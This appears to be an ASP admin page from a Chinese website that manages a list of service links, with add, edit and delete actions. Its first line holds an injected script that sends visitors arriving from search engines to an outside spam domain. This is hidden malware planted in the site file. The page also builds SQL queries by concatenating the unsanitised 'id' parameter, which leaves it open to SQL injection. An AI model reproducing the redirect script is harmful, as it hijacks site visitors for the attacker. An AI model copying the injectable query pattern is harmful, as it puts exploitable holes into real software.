d:\wwwroot\wuchunhua\admin\bm.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if%
>
005: <%dim action,id,dname
006: id=request.QueryString("id")
007: action=request.querystring("action")
008: dbmname=trim(request("bmname"))
009: select case action
010: case "add"
011: set rs=server.CreateObject("adodb.recordset")
012: rs.open "select * from china_bm",conn,1,3
013: rs.AddNew
014: rs("bmname")=dbmname
015: rs("link")=trim(request("link"))
016: rs.Update
017: rs.Close
018: set rs=nothing
019:
020: case "edit"
021: set rs=server.CreateObject("adodb.recordset")
022: rs.open "select * from china_bm where id="&id,conn,1,3
023: rs("bmname")=dbmname
024: rs("link")=trim(request("link"))
025: rs.Update
026: rs.Close
027: set rs=nothing
028:
029: case "del"
030: conn.execute ("delete from china_bm where id="&id)
031: conn.close  
032: set conn=nothing
033: response.Redirect "bm.asp"
034: end select
035: %
>
036: <html>
037: <head>
038: <title>便民服务管理</title>
039: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
040: <link rel="stylesheet" href="style.css" type="text/css">
041: </head>
042: <body>
043: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
044:   <tr>
045:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">便 民 服 务 管 理</font></td>
046:   </tr>
047:   <tr>
048:     <td bgcolor="#FFFFFF"> <br>
049:    <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
050:         <tr align="center" bgcolor="#FFFFFF" height="20">
051:           <td width="30">编号</td>
052:           <td>网站名称</td>
053:           <td>网址链接</td>
054:           <td>管理操作</td>
055:         </tr>
056:         <%set rs=server.CreateObject("adodb.recordset")
057:         rs.Open "select * from china_bm order by id",conn,1,1
058:         dim follows
059:         if rs.EOF and rs.BOF then
060:           response.write"<tr bgcolor=#FFFFFF><td colspan='4'><p align='center'><font color='red'>暂无便民服务!</font></td></tr></table><br>"
061:         follows=0
062:         else
063:         do while not rs.EOF
064:         i=i+1
065:         %
>
066:         <form name="form1" method="post" action="?action=edit&id=<%=int(rs("id"))%>">
067:           <tr bgcolor="#FFFFFF" align="center">
068:         <td><%=i%></td>
069:         
070:             <td><input name="bmname" type="text" id="bmname" value="<%=trim(rs("bmname"))%>" size="12"></td>
071:             <td><input name="link" type="text" id="link" value="<%=trim(rs("link"))%>" size="20"></td>
072:             <td><input type="submit" name="Submit" value="修 改">
073:                 &nbsp; <input type="button" name="DEL" onclick="{if(confirm('确定要删除这个便民服务吗?\n此操作不可以恢复!')){location.href='?id=<%=rs("id")%>&action=del';}return false;}" value="删除" >
074:             </td>
075:           </tr>
076:         </form>
077:         <%
078:       rs.MoveNext
079:           loop
080:           follows=rs.RecordCount
081:           end if%
>
082:       </table>
083:    <br></td>
084:   </tr>
085: </table>
086: <br>
087: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
088:   <tr>
089:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添 加 便 民 服 务</font></td>
090:   </tr>
091:   <tr>
092:     <td bgcolor="#FFFFFF">
093:    <br>
094:    <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
095:         <tr align="center" bgcolor="#FFFFFF" height="20">
096:           <td width="30">编号 </td>
097:           <td>网站名称</td>
098:           <td>网址链接</td>
099:           <td>确定操作</td>
100:         </tr>
101:         <form name="form1" method="post" action="?action=add">
102:           <tr align="center" bgcolor="#FFFFFF">
103:             <td><%=rs.RecordCount+1%></td>
104:            <td><input name="bmname" type="text" id="bmname" size="12"></td>
105:            <td><input name="link" type="text" id="link" size="20"></td>
106:            <td><input type="submit" name="Submit3" value="添 加"></td>
107:           </tr>
108:         </form>
109:       </table>
110:    <br></td>
111:   </tr>
112: </table>
113: </body>
114: </html>
115:
116: